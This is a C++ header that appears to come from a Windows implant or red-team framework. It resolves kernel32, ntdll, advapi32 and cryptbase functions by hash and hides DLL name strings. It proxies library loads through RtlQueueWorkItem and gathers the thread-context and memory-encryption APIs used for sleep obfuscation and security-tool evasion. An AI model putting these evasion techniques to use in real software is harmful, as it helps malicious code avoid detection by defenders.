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/* InitializeAPI.h */
#pragma once
#ifndef INITIALIZEAPI_H
#define INITIALIZEAPI_H
#include <Windows.h>
#include "Primitives.h"
#include "Debug.h"
#include "Structs.h"
#include "Common.h"
namespace Win32API {
inline BOOL InitializeWin32APIs() {
PVOID Kernel32 = nullptr;
PVOID Ntdll = nullptr;
PVOID AdvApi = nullptr;
PVOID CryptBase = nullptr;
WCHAR AdvStr[] = { L'a', L'd', L'v', L'a', L'p', L'i', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
WCHAR CryptStr[] = { L'c', L'r', L'y', L'p', L't', L'b', L'a', L's', L'e', L'.', L'd', L'l', L'l', L'\0' };
#ifdef DEBUG
DBGPRINT("[*] Initializing Win32 APIs \n");
#endif
if (!(Kernel32 = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"kernel32.dll")))) {
#ifdef DEBUG
DBGPRINT("[-] LdrGetModuleByHash -> Failed To Get Kernel32 Handle - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
if (!(Ntdll = Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")))) {
#ifdef DEBUG
DBGPRINT("[-] LdrGetModuleByHash -> Failed To Get Ntdll Handle - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
g_Win32.K32.LoadLibraryW = (decltype(g_Win32.K32.LoadLibraryW))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("LoadLibraryW"));
g_Win32.K32.GetModuleHandleW = (decltype(g_Win32.K32.GetModuleHandleW))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("GetModuleHandleW"));
g_Win32.Nt.RtlQueueWorkItem = (decltype(g_Win32.Nt.RtlQueueWorkItem))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlQueueWorkItem"));
if (!g_Win32.K32.LoadLibraryW || !g_Win32.K32.GetModuleHandleW || !g_Win32.Nt.RtlQueueWorkItem)
return FALSE;
if (!(AdvApi = Proxy::WorkItemLoadLibrary(AdvStr))) {
#ifdef DEBUG
DBGPRINT("[-] WorkItemLoadLibrary -> Failed To Load AdvApi - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
if (!(CryptBase = Proxy::WorkItemLoadLibrary(CryptStr))) {
#ifdef DEBUG
DBGPRINT("[-] WorkItemLoadLibrary -> Failed To Load CryptBase - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
/* Initialize Kernel32 Apis */
g_Win32.K32.WaitForSingleObject = (decltype(g_Win32.K32.WaitForSingleObject))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObject"));
g_Win32.K32.HeapWalk = (decltype(g_Win32.K32.HeapWalk))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("HeapWalk"));
g_Win32.K32.WaitForSingleObjectEx = (decltype(g_Win32.K32.WaitForSingleObjectEx))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObjectEx"));
g_Win32.K32.VirtualProtect = (decltype(g_Win32.K32.VirtualProtect))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("VirtualProtect"));
g_Win32.K32.SetEvent = (decltype(g_Win32.K32.SetEvent))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("SetEvent"));
if (!g_Win32.K32.WaitForSingleObject || !g_Win32.K32.HeapWalk || !g_Win32.K32.WaitForSingleObjectEx || !g_Win32.K32.VirtualProtect || !g_Win32.K32.SetEvent)
return FALSE;
//======================================================================================================================================================================
/* Initialize Ntdll Apis */
g_Win32.Nt.NtCreateEvent = (decltype(g_Win32.Nt.NtCreateEvent))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtCreateEvent"));
g_Win32.Nt.NtQueryInformationProcess = (decltype(g_Win32.Nt.NtQueryInformationProcess))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtQueryInformationProcess"));
g_Win32.Nt.NtSetEvent = (decltype(g_Win32.Nt.NtSetEvent))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetEvent"));
g_Win32.Nt.NtWaitForSingleObject = (decltype(g_Win32.Nt.NtWaitForSingleObject))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtWaitForSingleObject"));
g_Win32.Nt.NtSignalAndWaitForSingleObject = (decltype(g_Win32.Nt.NtSignalAndWaitForSingleObject))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSignalAndWaitForSingleObject"));
g_Win32.Nt.NtContinue = (decltype(g_Win32.Nt.NtContinue))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtContinue"));
g_Win32.Nt.NtOpenThread = (decltype(g_Win32.Nt.NtOpenThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtOpenThread"));
g_Win32.Nt.NtQuerySystemInformation = (decltype(g_Win32.Nt.NtQuerySystemInformation))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtQuerySystemInformation"));
g_Win32.Nt.NtResumeThread = (decltype(g_Win32.Nt.NtResumeThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtResumeThread"));
g_Win32.Nt.NtSuspendThread = (decltype(g_Win32.Nt.NtSuspendThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSuspendThread"));
g_Win32.Nt.NtGetContextThread = (decltype(g_Win32.Nt.NtGetContextThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtGetContextThread"));
g_Win32.Nt.NtSetContextThread = (decltype(g_Win32.Nt.NtSetContextThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetContextThread"));
g_Win32.Nt.NtDuplicateObject = (decltype(g_Win32.Nt.NtDuplicateObject))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtDuplicateObject"));
g_Win32.Nt.RtlAcquireSRWLockExclusive = (decltype(g_Win32.Nt.RtlAcquireSRWLockExclusive))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive"));
g_Win32.Nt.RtlAddFunctionTable = (decltype(g_Win32.Nt.RtlAddFunctionTable))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable"));
g_Win32.Nt.RtlCaptureContext = (decltype(g_Win32.Nt.RtlCaptureContext))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlCaptureContext"));
g_Win32.Nt.RtlDeleteFunctionTable = (decltype(g_Win32.Nt.RtlDeleteFunctionTable))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlDeleteFunctionTable"));
g_Win32.Nt.RtlRegisterWait = (decltype(g_Win32.Nt.RtlRegisterWait))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlRegisterWait"));
g_Win32.Nt.RtlLookupFunctionEntry = (decltype(g_Win32.Nt.RtlLookupFunctionEntry))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry"));
g_Win32.Nt.RtlReleaseSRWLockExclusive = (decltype(g_Win32.Nt.RtlReleaseSRWLockExclusive))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive"));
g_Win32.Nt.RtlVirtualUnwind = (decltype(g_Win32.Nt.RtlVirtualUnwind))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlVirtualUnwind"));
if (!g_Win32.Nt.NtCreateEvent || !g_Win32.Nt.NtQueryInformationProcess ||
!g_Win32.Nt.NtSetEvent || !g_Win32.Nt.RtlAcquireSRWLockExclusive ||
!g_Win32.Nt.RtlAddFunctionTable || !g_Win32.Nt.RtlDeleteFunctionTable ||
!g_Win32.Nt.RtlLookupFunctionEntry || !g_Win32.Nt.RtlReleaseSRWLockExclusive ||
!g_Win32.Nt.RtlVirtualUnwind || !g_Win32.Nt.NtWaitForSingleObject || !g_Win32.Nt.NtSignalAndWaitForSingleObject ||
!g_Win32.Nt.NtContinue || !g_Win32.Nt.NtOpenThread || !g_Win32.Nt.NtResumeThread || !g_Win32.Nt.NtQuerySystemInformation ||
!g_Win32.Nt.NtSuspendThread || !g_Win32.Nt.RtlCaptureContext || !g_Win32.Nt.RtlRegisterWait ||
!g_Win32.Nt.NtGetContextThread || !g_Win32.Nt.NtSetContextThread || !g_Win32.Nt.NtDuplicateObject)
return FALSE;
//======================================================================================================================================================================
/* Initialize AdvApi32 Apis */
g_Win32.AdvApi32.RegCloseKey = (decltype(g_Win32.AdvApi32.RegCloseKey))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("RegCloseKey"));
g_Win32.AdvApi32.RegOpenKeyExW = (decltype(g_Win32.AdvApi32.RegOpenKeyExW))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("RegOpenKeyExW"));
g_Win32.AdvApi32.RegQueryValueExW = (decltype(g_Win32.AdvApi32.RegQueryValueExW))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("RegQueryValueExW"));
g_Win32.AdvApi32.SystemFunction032 = (decltype(g_Win32.AdvApi32.SystemFunction032))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("SystemFunction032"));
if (!g_Win32.AdvApi32.RegCloseKey || !g_Win32.AdvApi32.RegOpenKeyExW || !g_Win32.AdvApi32.RegQueryValueExW || !g_Win32.AdvApi32.SystemFunction032)
return FALSE;
//======================================================================================================================================================================
/* Initialize CryptBase Apis */
g_Win32.CryptBase.SystemFunction040 = (decltype(g_Win32.CryptBase.SystemFunction040))Resolver::LdrShieldedSymbolResolveByHash(CryptBase, Hash::ExprHashStrDjb2("SystemFunction040"));
g_Win32.CryptBase.SystemFunction041 = (decltype(g_Win32.CryptBase.SystemFunction041))Resolver::LdrShieldedSymbolResolveByHash(CryptBase, Hash::ExprHashStrDjb2("SystemFunction041"));
if (!g_Win32.CryptBase.SystemFunction040 || !g_Win32.CryptBase.SystemFunction041)
return FALSE;
#ifdef DEBUG
DBGPRINT("[+] Success \n");
#endif
return TRUE;
}
}
#endif